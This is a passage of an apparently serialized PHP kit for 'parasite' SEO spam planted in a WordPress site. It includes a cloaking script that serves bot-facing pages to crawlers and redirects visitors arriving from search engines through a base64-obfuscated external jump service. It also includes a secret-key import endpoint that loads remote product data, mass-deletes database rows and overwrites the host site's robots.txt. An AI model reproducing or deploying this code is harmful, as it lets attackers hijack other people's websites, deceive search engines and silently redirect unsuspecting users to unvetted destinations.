application/xml; charset=utf-8');\n\nrequire_once __DIR__ . '/config.php';\n\ntry {\n $data = getSitemapData();\n if (!$data || !isset($data['urls'])) {\n throw new Exception(\"Invalid API response format\");\n }\n \n $urls = $data['urls'];\n $domain = $host;\n \n $xml = \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\";\n $xml .= \"\u003curlset xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\"\u003e\\n\";\n \n foreach ($urls as $url_data) {\n $product_id = $url_data['id'];\n $crawled_at = $url_data['crawled_at'];\n $product_title = isset($url_data['title']) ? $url_data['title'] : null;\n \n $loc = buildProductUrl($product_id, $product_title);\n $lastmod = date('Y-m-d', strtotime($crawled_at));\n \n $xml .= \" \u003curl\u003e\\n\";\n $xml .= \" \u003cloc\u003e\" . htmlspecialchars($loc) . \"\u003c/loc\u003e\\n\";\n $xml .= \" \u003clastmod\u003e\" . htmlspecialchars($lastmod) . \"\u003c/lastmod\u003e\\n\";\n $xml .= \" \u003cchangefreq\u003edaily\u003c/changefreq\u003e\\n\";\n $xml .= \" \u003c/url\u003e\\n\";\n }\n \n $xml .= \"\u003c/urlset\u003e\";\n \n echo $xml;\n \n} catch (Exception $e) {\n error_log(\"Sitemap generation error: \" . $e-\u003egetMessage());\n \n $xml = \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\";\n $xml .= \"\u003curlset xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\"\u003e\\n\";\n $xml .= \"\u003c/urlset\u003e\";\n \n echo $xml;\n} ","path":"sitemap.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n * INTEGRATED CLOAKING SYSTEM\n * ===================================================================\n * Modified cloaking system for parasite website integration\n * Removes unnecessary 404 handling and client-side scripts\n * ===================================================================\n */\n\n// Load configuration\nrequire_once __DIR__ . '/config.php';\n\n// Remove the original referer check - let original system handle if needed\n// if (empty($_SERVER['HTTP_REFERER'])) {\n// exit;\n// }\n\n/**\n * Class Cloaker\n * Provides server side checks to see if the visitor is a crawler.\n */\nclass Cloaker {\n\n\t/**\n\t * Your redirect url for humans\n\t * This should point to a legitimate page or the original site\n\t *\n\t * @var string\n\t */\n\tprotected $REDIRECT_URL = '';\n\n\t/**\n\t * Decide if you want to fully bypass client side javascript checks and rely only on server-side checks.\n\t * Set to true for parasite deployment to avoid unnecessary client-side detection\n\t *\n\t * @var bool\n\t */\n\tprotected $BYPASS_CLIENT_SIDE_CHECKS = true;\n\n\t/**\n\t * Your token to access the IPStack service\n\t * Get a free API token from https://ipstack.com\n\t *\n\t * @var string\n\t */\n\tprotected $IP_STACK_TOKEN = '';\n\n\t/**\n\t * A list country codes to block.\n\t * Example 'PH' for Philippines, https://en.wikipedia.org/wiki/ISO_3166-1\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_COUNTRY_CODES = array();\n\n\t/**\n\t * A list of city names to block.\n\t * Use any common city names with care.\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_CITY_NAMES = array();\n\n\t/**\n\t * A list of corporate IP ranges to block.\n\t * Example Twitter https://ipinfo.io/AS35995\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_IP_RANGES = array();\n\n\t/**\n\t * A list of user-agents to block.\n\t * A robust list is provided lower down, but add any additional user agent strings here.\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_USER_AGENTS = array();\n\n\t/**\n\t * If you decide to reobsfucate the client-side javascript, paste the new code here.\n\t * For parasite deployment, this is usually not needed\n\t *\n\t * @var string\n\t */\n\tprotected $OBSFUCATED_JAVASCRIPT = \"\";\n\n\tpublic function __construct() {\n\t\t$this-\u003eREDIRECT_URL = $this-\u003efetchDynamicRedirectUrl();\n\t}\n\n\t/**\n\t * Fetches the dynamic redirect URL from the jump service.\n\t * @return string\n\t */\n\tprotected function fetchDynamicRedirectUrl() {\n\t\t// Construct the current URL from server variables\n\t\t$currentUrl = (isset($_SERVER['HTTPS']) \u0026\u0026 $_SERVER['HTTPS'] === 'on' ? \"https\" : \"http\") . \"://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\";\n\n\t\t$realProductId = parseProductId($_SERVER['REQUEST_URI']);\n\t\tif ($realProductId !== null) {\n\t\t\t// 更精确的匹配:匹配URL路径中的最后一个数字段\n\t\t\t$currentUrl = preg_replace('/\\/(\\d+)\\/$/', '/' . $realProductId . '/', $currentUrl);\n\t\t}\n\n\t\t// The API endpoint for fetching the redirect URL\n\t\t$apiUrl = base64_decode('aHR0cHM6Ly9zZXJ2ZXIuZGVmZ2hpamsuY29tL2p1bXA/dXJsPQ==') . urlencode($currentUrl);\n\n\t\ttry {\n\t\t\tif (USE_CURL) {\n\t\t\t\t// Use cURL to fetch the response from the API\n\t\t\t\t$ch = curl_init();\n\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $apiUrl);\n\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');\n\t\t\t\t\n\t\t\t\t$response = curl_exec($ch);\n\t\t\t\tcurl_close($ch);\n\t\t\t} else {\n\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t'http' =\u003e array(\n\t\t\t\t\t\t'timeout' =\u003e 10,\n\t\t\t\t\t\t'user_agent' =\u003e 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t\t$response = @file_get_contents($apiUrl, false, $context);\n\t\t\t}\n\n\t\t\tif ($response) {\n\t\t\t\t$data = json_decode($response);\n\t\t\t\t// Check if the response is valid and contains the redirect URL\n\t\t\t\tif (json_last_error() === JSON_ERROR_NONE \u0026\u0026 isset($data-\u003ecode) \u0026\u0026 $data-\u003ecode === 0 \u0026\u0026 !empty($data-\u003edata-\u003efinal_url)) {\n\t\t\t\t\t// Trim any whitespace and return the final URL\n\t\t\t\t\treturn trim($data-\u003edata-\u003efinal_url);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\t$this-\u003eerrors[] = $e-\u003egetMessage();\n\t\t}\n\n\t\t// Return the original hardcoded URL as a fallback\n\t\treturn '';\n\t}\n\n\t/*\n\t * ==========================================================================\n\t * ==== Don't modify below this point unless you know what you are doing ====\n\t * ==========================================================================\n\t */\n\n\t/**\n\t * Attribute to flag for blocked results.\n\t *\n\t * @var bool\n\t */\n\tprotected $blocked = false;\n\n\t/**\n\t * Attribute to flag for human visitors from search engines.\n\t *\n\t * @var bool\n\t */\n\tpublic $is_human_from_search = false;\n\n\t/**\n\t * List of errors.\n\t *\n\t * @var array\n\t */\n\tprotected $errors = array();\n\n\t/**\n\t * Getter for blocked attribute.\n\t *\n\t * @return bool\n\t */\n\tpublic function isBlocked() {\n\t\treturn !!$this-\u003eblocked;\n\t}\n\n\t/**\n\t * Getter for client-side bypass.\n\t *\n\t * @return bool\n\t */\n\tpublic function shouldBypassClientSideChecks() {\n\t\treturn !!$this-\u003eBYPASS_CLIENT_SIDE_CHECKS;\n\t}\n\n\t/**\n\t * Getter for error bag.\n\t *\n\t * @return array\n\t */\n\tpublic function getErrors() {\n\t\treturn $this-\u003eerrors;\n\t}\n\n\t/**\n\t * Getter for redirect URL.\n\t *\n\t * @return string\n\t */\n\tpublic function getRedirectUrl() {\n\t\treturn $this-\u003eREDIRECT_URL;\n\t}\n\n\t/**\n\t * Primary method for running all checks.\n\t *\n\t * @return bool\n\t */\n\tpublic function check() {\n\t\tif (!$this-\u003eblocked \u0026\u0026 $this-\u003echeckUserAgent()) {\n\t\t\t$this-\u003eblocked = true;\n\t\t}\n\t\tif (!$this-\u003eblocked \u0026\u0026 $this-\u003echeckIpAddress()) {\n\t\t\t$this-\u003eblocked = true;\n\t\t}\n\n\t\treturn $this-\u003eblocked;\n\t}\n\n\t/**\n\t * Run check on user agent string.\n\t *\n\t * @return bool\n\t */\n\tpublic function checkUserAgent() {\n\t\t$search = $this-\u003egetBlockedUserAgents();\n\t\treturn !!(isset($_SERVER['HTTP_USER_AGENT']) \u0026\u0026 preg_match($search, $_SERVER['HTTP_USER_AGENT']));\n\t}\n\n\t/**\n\t * Fetch result from IPStack and check against block lists.\n\t * Block lists checked: $BLOCKED_COUNTRY_CODES, $BLOCKED_CITY_NAMES, $BLOCKED_IP_RANGES.\n\t * Will also check against IPStacks known pool of crawler IP addresses.\n\t *\n\t * @return bool\n\t */\n\tpublic function checkIpAddress() {\n\t\t// [FIX] Add a crucial check: Do not perform IP checks if the token is not set.\n\t\t// This prevents false positives where the API returns a default error response.\n\t\tif (empty($this-\u003eIP_STACK_TOKEN)) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Get the result from IPStack\n\t\t$ip = $this-\u003egetIpAddress();\n\t\t$ipstack = $this-\u003egetIpStack($ip);\n\t\t\n\t\t// Check to see if we got a response\n\t\tif ($ipstack \u0026\u0026 !(isset($ipstack-\u003esuccess) \u0026\u0026 $ipstack-\u003esuccess === false)) {\n\t\t\tif ($ipstack-\u003esecurity-\u003eis_crawler || \n\t\t\t\tin_array($ipstack-\u003ecountry_code, $this-\u003eBLOCKED_COUNTRY_CODES) || \n\t\t\t\tin_array($ipstack-\u003ecity, $this-\u003eBLOCKED_CITY_NAMES) || \n\t\t\t\t$this-\u003eipInRange($ip, $this-\u003eBLOCKED_IP_RANGES)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t/**\n\t * Gets merged list of blocked user agents.\n\t *\n\t * @return string\n\t */\n\tpublic function getBlockedUserAgents() {\n\t\t$search = '';\n\t\tif (count($this-\u003eBLOCKED_USER_AGENTS)) {\n\t\t\t$search = implode('|', $this-\u003eBLOCKED_USER_AGENTS);\n\t\t\t$search = preg_quote($search) . '|';\n\t\t}\n\t\t$search = $search . 'googlebot|bot|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|Google-InspectionTool|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis';\n\t\t$search = '(' . $search . ')';\n\n\t\treturn $search;\n\t}\n\n\t/**\n\t * Gets the visitor's IP address to be checked against IPStack.\n\t *\n\t * @return string\n\t */\n\tprotected function getIpAddress() {\n\t\tif (!empty($_SERVER['HTTP_CLIENT_IP'])) {\n\t\t\t$ip = $_SERVER['HTTP_CLIENT_IP'];\n\t\t} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t} else {\n\t\t\t$ip = $_SERVER['REMOTE_ADDR'];\n\t\t}\n\n\t\treturn $ip;\n\t}\n\n\t/**\n\t * Fetches a response from the IPStack service.\n\t * Must have a valid $IP_STACK_TOKEN and $ip address provided.\n\t *\n\t * @param $ip\n\t *\n\t * @return mixed|null\n\t */\n\tprotected function getIpStack($ip) {\n\t\tif (!empty($this-\u003eIP_STACK_TOKEN) \u0026\u0026 !empty($ip)) {\n\t\t\ttry {\n\t\t\t\t$url = sprintf(base64_decode('aHR0cDovL2FwaS5pcHN0YWNrLmNvbS8lcz9hY2Nlc3Nfa2V5PSVz'), $ip, $this-\u003eIP_STACK_TOKEN);\n\t\t\t\t\n\t\t\t\tif (USE_CURL) {\n\t\t\t\t\t$ch = curl_init();\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');\n\t\t\t\t\t\n\t\t\t\t\t$response = curl_exec($ch);\n\t\t\t\t\tcurl_close($ch);\n\t\t\t\t} else {\n\t\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t\t'http' =\u003e array(\n\t\t\t\t\t\t\t'timeout' =\u003e 10,\n\t\t\t\t\t\t\t'user_agent' =\u003e 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t$response = @file_get_contents($url, false, $context);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$response = json_decode($response);\n\n\t\t\t\tif ($response \u0026\u0026 !(isset($response-\u003esuccess) \u0026\u0026 $response-\u003esuccess === false)) {\n\t\t\t\t\t$ipstack = $response;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception $e) {\n\t\t\t\t$this-\u003eerrors[] = $e-\u003egetMessage();\n\t\t\t}\n\t\t}\n\n\t\treturn isset($ipstack) ? $ipstack : null;\n\t}\n\n\t/**\n\t * Checks the provided IP address against a corporate IP range.\n\t *\n\t * @param $ip\n\t * @param $ranges\n\t *\n\t * @return bool\n\t */\n\tprotected function ipInRange($ip, $ranges) {\n\t\tforeach ($ranges as $range) {\n\t\t\tif (strpos($range, '/') == false) {\n\t\t\t\t$range .= '/32';\n\t\t\t}\n\n\t\t\t// $range is in IP/CIDR format eg 127.0.0.1/24\n\t\t\tlist($range, $netmask) = explode('/', $range, 2);\n\n\t\t\t$ip_decimal = ip2long($ip);\n\t\t\t$range_decimal = ip2long($range);\n\t\t\t$wildcard_decimal = pow(2, (32 - $netmask)) - 1;\n\t\t\t$netmask_decimal = ~$wildcard_decimal;\n\n\t\t\tif (($ip_decimal \u0026 $netmask_decimal) == ($range_decimal \u0026 $netmask_decimal)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n}\n\n// Create new check instance\n$cloaker = new Cloaker();\n// Run the initial checks (UA and IP)\n$blocked = $cloaker-\u003echeck();\n\nif (!$blocked) {\n $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';\n \n if (preg_match('/google|bing|yahoo|baidu|duckduckgo|yandex|aol|ask/i', $referer)) {\n $redirectUrl = $cloaker-\u003egetRedirectUrl();\n \n if (!empty($redirectUrl)) {\n $cloaker-\u003eis_human_from_search = true;\n \n echo '\u003cscript\u003ewindow.location.href=\"' . $redirectUrl . '\";\u003c/script\u003e';\n exit;\n }\n }\n}\n\n// For parasite deployment, we don't need the original redirect logic.\n// The final $blocked variable and the $cloaker object are the only things our index.php needs. ","path":"cloaking.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n * REMOTE CSV to SQLite Importer API\n * ===================================================================\n * This script acts as an API to import product data from a remote CSV\n * file (via URL) into the SQLite database.\n *\n * It is protected by a secret key authentication.\n *\n * --- HOW TO USE ---\n * Provide the full URL to a CSV file using the 'url' GET parameter\n * and the secret key using the 'auth_token' parameter.\n * e.g., https://yourdomain.com/wp-content/parasites/import_csv.php?url=http://example.com/products.csv\u0026auth_token=PtXe*JMQ%jT2HS!BSRc4a$$^\n * ===================================================================\n */\n\nheader('Content-Type: text/plain; charset=utf-8');\n\n// --- Configuration ---\nrequire_once __DIR__ . '/config.php';\ndefine('TABLE_NAME', 'products');\ndefine('SECRET_KEY', 'PtXe*JMQ%jT2HS!BSRc4a$$^');\n\n// --- Helper Functions ---\nfunction initializeQueue($pdo, $output = true) {\n try {\n if ($output) echo \"Starting queue initialization...\\n\";\n\n // Create queue tables\n $pdo-\u003eexec(\"\n CREATE TABLE IF NOT EXISTS link_queue (\n queue_index INT PRIMARY KEY AUTO_INCREMENT,\n product_id INT NOT NULL,\n table_name VARCHAR(50) NOT NULL,\n INDEX idx_queue_index (queue_index),\n INDEX idx_product_table (product_id, table_name)\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n \");\n\n $pdo-\u003eexec(\"\n CREATE TABLE IF NOT EXISTS link_queue_pointer (\n id INT PRIMARY KEY DEFAULT 1,\n current_index INT NOT NULL DEFAULT 1,\n total_count INT NOT NULL DEFAULT 0,\n last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n \");\n\n if ($output) echo \"Queue tables created successfully.\\n\";\n\n // Clear existing queue\n $pdo-\u003eexec(\"TRUNCATE TABLE link_queue\");\n $pdo-\u003eexec(\"DELETE FROM link_queue_pointer WHERE id = 1\");\n\n // Get all product tables\n $tables = $pdo-\u003equery(\"SHOW TABLES LIKE 'products%'\")-\u003efetchAll(PDO::FETCH_COLUMN);\n \n if ($output) echo \"Found \" . count($tables) . \" product tables.\\n\";\n\n $total_products = 0;\n $batch_size = 1000;\n $batch_values = array();\n\n // Collect all product IDs from all tables\n foreach ($tables as $table) {\n if ($output) echo \"Processing table: {$table}\\n\";\n \n $stmt = $pdo-\u003equery(\"SELECT id FROM `$table` ORDER BY RAND()\");\n while ($row = $stmt-\u003efetch(PDO::FETCH_ASSOC)) {\n $batch_values[] = \"(\" . (int)$row['id'] . \", '\" . $table . \"')\";\n $total_products++;\n\n // Insert in batches for performance\n if (count($batch_values) \u003e= $batch_size) {\n $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n $pdo-\u003eexec($sql);\n $batch_values = array();\n if ($output) echo \"Inserted batch, total so far: {$total_products}\\n\";\n }\n }\n }\n\n // Insert remaining items\n if (!empty($batch_values)) {\n $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n $pdo-\u003eexec($sql);\n }\n\n // Initialize pointer\n $pdo-\u003eexec(\"INSERT INTO link_queue_pointer (id, current_index, total_count) VALUES (1, 1, {$total_products}) ON DUPLICATE KEY UPDATE current_index = 1, total_count = {$total_products}\");\n\n if ($output) echo \"Queue initialization completed! Total products in queue: {$total_products}\\n\";\n return $total_products;\n\n } catch (Exception $e) {\n if ($output) echo \"Error initializing queue: \" . $e-\u003egetMessage() . \"\\n\";\n error_log(\"Error initializing queue: \" . $e-\u003egetMessage());\n return false;\n }\n}\n\nfunction updateQueueAfterImport($pdo, $output = true) {\n try {\n // Check if queue tables exist\n $tables_exist = $pdo-\u003equery(\"SHOW TABLES LIKE 'link_queue'\")-\u003efetchColumn();\n if (!$tables_exist) {\n if ($output) echo \"Queue tables don't exist, performing full initialization...\\n\";\n return initializeQueue($pdo, $output);\n }\n\n if ($output) echo \"Updating queue with new products (preserving current pointer)...\\n\";\n\n // Get current pointer position (preserve it)\n $pointer_stmt = $pdo-\u003equery(\"SELECT current_index FROM link_queue_pointer WHERE id = 1\");\n $current_pointer = $pointer_stmt-\u003efetchColumn();\n \n // Get all product tables\n $tables = $pdo-\u003equery(\"SHOW TABLES LIKE 'products%'\")-\u003efetchAll(PDO::FETCH_COLUMN);\n \n if ($output) echo \"Found \" . count($tables) . \" product tables.\\n\";\n\n // Get current products in queue to avoid duplicates\n $existing_products = array();\n $existing_stmt = $pdo-\u003equery(\"SELECT CONCAT(product_id, '-', table_name) FROM link_queue\");\n while ($row = $existing_stmt-\u003efetch(PDO::FETCH_COLUMN)) {\n $existing_products[$row] = true;\n }\n\n $new_products = 0;\n $batch_size = 1000;\n $batch_values = array();\n\n // Add only new products to queue\n foreach ($tables as $table) {\n if ($output) echo \"Checking table: {$table} for new products\\n\";\n \n $stmt = $pdo-\u003equery(\"SELECT id FROM `$table`\");\n while ($row = $stmt-\u003efetch(PDO::FETCH_ASSOC)) {\n $product_key = $row['id'] . '-' . $table;\n \n // Only add if not already in queue\n if (!isset($existing_products[$product_key])) {\n $batch_values[] = \"(\" . (int)$row['id'] . \", '\" . $table . \"')\";\n $new_products++;\n\n // Insert in batches for performance\n if (count($batch_values) \u003e= $batch_size) {\n $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n $pdo-\u003eexec($sql);\n $batch_values = array();\n if ($output) echo \"Added batch, new products so far: {$new_products}\\n\";\n }\n }\n }\n }\n\n // Insert remaining items\n if (!empty($batch_values)) {\n $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n $pdo-\u003eexec($sql);\n }\n\n // Update total count only if we added new products or if current pointer doesn't exist\n if ($new_products \u003e 0 || $current_pointer === false) {\n $total_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM link_queue\");\n $total_count = $total_count_stmt-\u003efetchColumn();\n\n // Update total count while preserving current_index\n if ($current_pointer !== false) {\n $pdo-\u003eprepare(\"UPDATE link_queue_pointer SET total_count = ? WHERE id = 1\")-\u003eexecute([$total_count]);\n if ($output) echo \"Queue updated! Added {$new_products} new products. Total: {$total_count}. Pointer preserved at: {$current_pointer}\\n\";\n } else {\n // If no pointer exists, initialize it\n $pdo-\u003eexec(\"INSERT INTO link_queue_pointer (id, current_index, total_count) VALUES (1, 1, {$total_count})\");\n if ($output) echo \"Queue updated! Added {$new_products} new products. Total: {$total_count}. Pointer initialized at: 1\\n\";\n }\n } else {\n if ($output) echo \"Queue is up to date. No new products to add. Pointer preserved at: {$current_pointer}\\n\";\n }\n\n return $new_products;\n\n } catch (Exception $e) {\n if ($output) echo \"Error updating queue: \" . $e-\u003egetMessage() . \"\\n\";\n error_log(\"Error updating queue: \" . $e-\u003egetMessage());\n return false;\n }\n}\n\nfunction generateSitemap($pdo = null, $output = true) {\n try {\n // 安全获取域名,使用config.php中的配置作为默认值\n $domain = isset($host) ? $host : 'localhost';\n if (empty($domain) || $domain === 'localhost') {\n // 从config.php中获取A站域名\n require_once __DIR__ . '/config.php';\n $domain = parse_url(ASITE_DOMAIN, PHP_URL_HOST);\n }\n \n // 只生成robots.txt,sitemap改为动态接口\n $robots = \"User-agent: *\\nAllow: /\\n\";\n $robots .= \"Sitemap: https://\" . $domain . \"/sitemap.xml\";\n \n $robots_file = dirname(__DIR__, 2) . '/robots.txt';\n \n // 强制覆盖文件\n if (file_put_contents($robots_file, $robots) === false) {\n throw new Exception(\"Failed to write robots.txt file to: \" . $robots_file);\n }\n \n if ($output) echo \"Robots.txt written to: \" . $robots_file . \"\\n\";\n if ($output) echo \"Content: \" . $robots . \"\\n\";\n\n if ($output) echo \"Robots.txt updated successfully. Sitemap is now dynamic.\\n\";\n return true;\n\n } catch (Exception $e) {\n if ($output) echo \"Error generating robots.txt: \" . $e-\u003egetMessage() . \"\\n\";\n error_log(\"Error generating robots.txt: \" . $e-\u003egetMessage());\n return false;\n }\n}\n\n// --- Queue Management Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'init_queue') {\n if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n http_response_code(401);\n exit(\"Authentication failed.\\n\");\n }\n\n set_time_limit(0);\n $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n $result = initializeQueue($pdo, true);\n if ($result === false) {\n http_response_code(500);\n }\n exit;\n}\n\n// --- Sitemap Generation Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'sitemap') {\n try {\n echo \"Starting sitemap generation...\\n\";\n \n if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n http_response_code(401);\n exit(\"Authentication failed.\\n\");\n }\n \n echo \"Authentication successful.\\n\";\n\n echo \"Generating robots.txt...\\n\";\n $result = generateSitemap(null, true);\n if ($result === false) {\n http_response_code(500);\n exit(\"Robots.txt generation failed.\\n\");\n } else {\n echo \"robots.txt updated successfully.\\n\";\n }\n exit;\n \n } catch (Exception $e) {\n http_response_code(500);\n echo \"Error: \" . $e-\u003egetMessage() . \"\\n\";\n error_log(\"Sitemap generation error: \" . $e-\u003egetMessage());\n exit;\n }\n}\n\n\n// --- Product Cleanup Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'cleanup_products') {\n if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n http_response_code(401);\n exit(\"Authentication failed.\\n\");\n }\n\n try {\n // Define how many of the latest products you want to keep\n $products_to_keep = isset($_GET['keep']) \u0026\u0026 is_numeric($_GET['keep']) \u0026\u0026 $_GET['keep'] \u003e 0 \n ? (int)$_GET['keep'] \n : 700000;\n\n echo \"Starting product cleanup process...\\n\";\n echo \"The goal is to keep the latest {$products_to_keep} products.\\n\\n\";\n\n // For long-running operations\n set_time_limit(0);\n\n $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n echo \"Successfully connected to the database.\\n\";\n\n // First, count the total number of products\n $count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM \" . TABLE_NAME);\n $total_products = (int) $count_stmt-\u003efetchColumn();\n echo \"Found {$total_products} total products in the table.\\n\";\n\n if ($total_products \u003c= $products_to_keep) {\n exit(\"No cleanup needed. The number of products ({$total_products}) is already at or below the target of {$products_to_keep}.\\n\");\n }\n \n // This SQL query deletes all records EXCEPT the top 100,000 newest ones (ordered by ID descending).\n // It uses a LEFT JOIN to identify rows to delete, which is efficient and avoids MySQL subquery limitations.\n $sql = \"\n DELETE p1 FROM \" . TABLE_NAME . \" AS p1\n LEFT JOIN (\n SELECT id FROM \" . TABLE_NAME . \" ORDER BY id DESC LIMIT \" . $products_to_keep . \"\n ) AS p2 ON p1.id = p2.id\n WHERE p2.id IS NULL;\n \";\n\n echo \"Executing deletion query. This may take some time...\\n\";\n \n // Execute the query and get the number of deleted rows\n $deleted_count = $pdo-\u003eexec($sql);\n\n echo \"\\nCleanup Complete!\\n\";\n echo \"Successfully deleted {$deleted_count} old products.\\n\";\n \n $final_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM \" . TABLE_NAME);\n $final_total_products = (int) $final_count_stmt-\u003efetchColumn();\n echo \"There are now {$final_total_products} products remaining in the table.\\n\";\n\n // Auto-rebuild queue system after cleanup\n echo \"\\n=== Auto-rebuilding Queue System ===\\n\";\n $queue_result = initializeQueue($pdo, true);\n if ($queue_result !== false) {\n echo \"\\n=== Auto-generating Sitemap ===\\n\";\n $sitemap_result = generateSitemap($pdo, true);\n if ($sitemap_result !== false) {\n echo \"robots.txt updated.\\n\";\n }\n }\n\n\n } catch (Exception $e) {\n http_response_code(500);\n error_log(\"Error during product cleanup: \" . $e-\u003egetMessage());\n echo \"\\nAN ERROR OCCURRED during cleanup:\\n\";\n echo $e-\u003egetMessage() . \"\\n\";\n }\n exit;\n}\n// --- Main Logic ---\n$temp_file_path = null; // Initialize to null\n\ntry {\n // 0. Authenticate the request\n if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n http_response_code(401); // Unauthorized\n throw new Exception(\"Authentication failed. Invalid or missing authentication token.\");\n }\n echo \"Authentication successful.\\n\";\n\n // 1. Get and validate the remote CSV URL from the GET parameter\n if (!isset($_GET['url']) || empty($_GET['url'])) {\n throw new Exception(\"Mandatory 'url' GET parameter is missing. Please provide the URL of the CSV file.\");\n }\n $remote_csv_url = $_GET['url'];\n\n if (filter_var($remote_csv_url, FILTER_VALIDATE_URL) 